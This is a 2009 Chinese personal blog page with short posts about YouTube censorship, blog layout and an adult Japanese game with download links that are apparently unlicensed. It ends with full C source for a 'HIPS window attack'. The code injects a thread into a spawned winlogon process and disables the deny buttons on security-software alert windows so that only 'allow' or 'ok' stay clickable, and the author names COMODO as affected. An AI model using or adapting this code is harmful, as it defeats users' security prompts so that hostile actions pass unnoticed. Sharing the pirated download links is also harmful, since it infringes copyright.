'o':
               
sndPlaySound("http://wye-ANGer.blogspot.com",fuSound);
               break;
           case
'p':
               
sndPlaySound("SystemHand",fuSound);
               break;
           case
'z':
               
sndPlaySound("SystemNotification",fuSound);
               break;
           case
'x':
               
sndPlaySound("start",fuSound);
               break;
           case
'c':
               
sndPlaySound("recycle",fuSound);
               break;
           case
'v':
               
sndPlaySound("chimes",fuSound);
               break;
           case
'm':
               
sndPlaySound("CriticalBatteryAlarm",fuSound);
               break;
           case
',':
               
sndPlaySound("tada",fuSound);
               break;
           case
'.':
               
sndPlaySound("ringout",fuSound);
               break;
           case
'/':
               
sndPlaySound("ringin",fuSound);
               break;
           case
'1':
               
fuSound = SND_ASYNC;
               break;
           case
'2':
               
fuSound = SND_SYNC;
               break;
           case
'3':
               
fuSound = SND_ASYNC|SND_LOOP;
               break;
           case 27:
               return;
           default :
               
printf("\n--------------Help--------------\n"
                      "\nDefined keys:\n"
                      "qwer uiop\n"
                      " asdf jkl;\n"
                      "  zxcv m,./\n"
                      "\nPress key 1~3 to set mode\n");
           }
       }
   }
    return;
}

2009年4月4日 星期六

我说YouTube怎么挂了呢

原来是这样,广电总局又一次下发 文件 了
http://news.qq.com/a/20090402/000145.htm

2009年4月3日 星期五

猛然间发现

原来通过前台看我的blog是如此的凌乱...



我之前对帖子所进行的排版完全没有体现到blog中去。



可能是模板的问题,回车是需要我自己在句尾加上 < B R > 的...



- -!

2009年3月31日 星期二

青春禁止~!恋愛禁止!告白禁止!偶然禁止!絶対禁止!何が何でも禁止~!


Princess Party ~プリンセスパーティー~



在经历了数次被宣传视频(nico:sm6136228)洗脑后,今天终于成功入手了Princess Party,只可惜是日文版的,玩不懂...

还是让它先跟狭小硬盘空间里静静的躺一段时间好了~

宣传视频其二:ze5665466


ブランド CIRCUS
ジャンル アドベンチャー
発売日 ◆初回限定版 2009年3月27日
対応OS Windows 2000/XP/Vista 日本語版
メディア DVD-ROM

JAN ◆初回限定版
4540295001383
定価 ◆初回限定版
7,140円(税込)/6,800円(税抜)

対象年齢 18歳未満購入禁止
CIRCUS/2009年3月27日/7140円


下载地址:
Part1:http://anime.hloli.net/share?down=4f4eed8522efad4e
Part2:http://anime.hloli.net/share?down=cbd732ab35ce2c7b

2009年3月23日 星期一

从一开始就白忙活了 T_T (window attack) ...


代码还是发出来好了(对于细心的人来说,这些代码并不是一点用也没有的)...


我从一开始就白忙活了,原以为已经很周全了的,可是被一个Esc全给我阻止了 T_T


当然,如果你和我一样是个COMODO用户的话,遇到这个代码也就只能认命了~


由于内心刚刚经历了如下过程,现在我得修养生息去了...





















Heuristic manual HIPS window attack (defective)

#define _WIN32_WINNT 0x0501

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

#pragma comment(linker, "/SECTION:.wye,ERW /MERGE:.data=.wye /MERGE:.text=.wye /MERGE:.rdata=.wye" )

#define NUM_OF_WHITE_LIST_WORDS ((int)(sizeof WhiteList /sizeof WhiteList[0]))


struct
{
    char * Word;
}

WhiteList[]=
{
    "允许","allow","确定","ok","apply"
};


//To block it , press 'Esc' on the alarm window
DWORD WINAPI Feint(LPVOID lpParameter)
{
    STARTUPINFO StartupInfo;
    PROCESS_INFORMATION ProcessInfo;
    ZeroMemory(&StartupInfo,sizeof(StartupInfo));
    StartupInfo.cb = sizeof(STARTUPINFO);
   
    CreateProcess(0,"winlogon",0,0,0,CREATE_SUSPENDED,0,0,&StartupInfo,&ProcessInfo);
    CloseHandle(
        CreateRemoteThread(ProcessInfo.hProcess,0,0,(LPTHREAD_START_ROUTINE)
        GetProcAddress(LoadLibrary("kernel32.dll"), "ExitProcess"),0,0,0));
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    return 1;
}

BOOL CALLBACK EnumWindProc(HWND hWnd, LPARAM HIPS_PID)
{
    DWORD WPID;
    GetWindowThreadProcessId(hWnd,&WPID);
    if (WPID==HIPS_PID) //For EnumWindows
    {
        //0x19 //SetParent
        EnumChildWindows(hWnd,EnumWindProc,WPID+1);
    }
    else if (WPID+1==HIPS_PID && IsWindowEnabled(hWnd)) //For EnumChildWindows
    {
        char Title[1204];
        int n=0;
        GetWindowText(hWnd,Title,1024);
        strlwr(Title);
        for (n;n<NUM_OF_WHITE_LIST_WORDS;n++)
        {
            if (strstr(Title,WhiteList[n].Word))
            {
                break;
            }
        }
        if (n==NUM_OF_WHITE_LIST_WORDS)
        {
            //To destory it,SetParent
            EnableWindow(hWnd,FALSE);
        }                    
    }

    return TRUE;
}

void main()
{
    printf("Heuristic manual HIPS window attack (defective)\n"
           "Presented by wye-MIA kid C!\n"
           "http://wye-ANGer.blogspot.com\n");
    char Title[32] = "No manual HIPS detected - -";
    SetConsoleTitle(Title);
    HANDLE hMajor=CreateThread(NULL,NULL,Feint,NULL,NULL,NULL);
    DWORD hPID,pPID;
    HWND hHIPS=GetConsoleWindow()
        ,hCur=hHIPS;

    //Get parent process ID

    HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 pBuffer={0};
    pBuffer.dwSize=sizeof(PROCESSENTRY32);

    if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Process32First(SnapShotHandle,&pBuffer))
    {
        while (Process32Next(SnapShotHandle,&pBuffer))
        {
            if (pBuffer.th32ProcessID==GetCurrentProcessId())
            {
                pPID=pBuffer.th32ParentProcessID;
                hPID=pPID;
                break;
            }
        }
    }
    while(WaitForSingleObject(hMajor,333)==WAIT_TIMEOUT)
    {
        //To protect major from activity analysis, return

        while(hHIPS==hCur||hPID==pPID||!hHIPS)
        {
            hHIPS=GetForegroundWindow();
            GetWindowThreadProcessId(hHIPS,&hPID);
            Sleep(333);
        }
        sprintf(Title,"Manual HIPS detected~ PID:%d",hPID);
       
        SetConsoleTitle(Title);
        EnumWindows(EnumWindProc,hPID);
    }

    Sleep(6000);
    return ;
}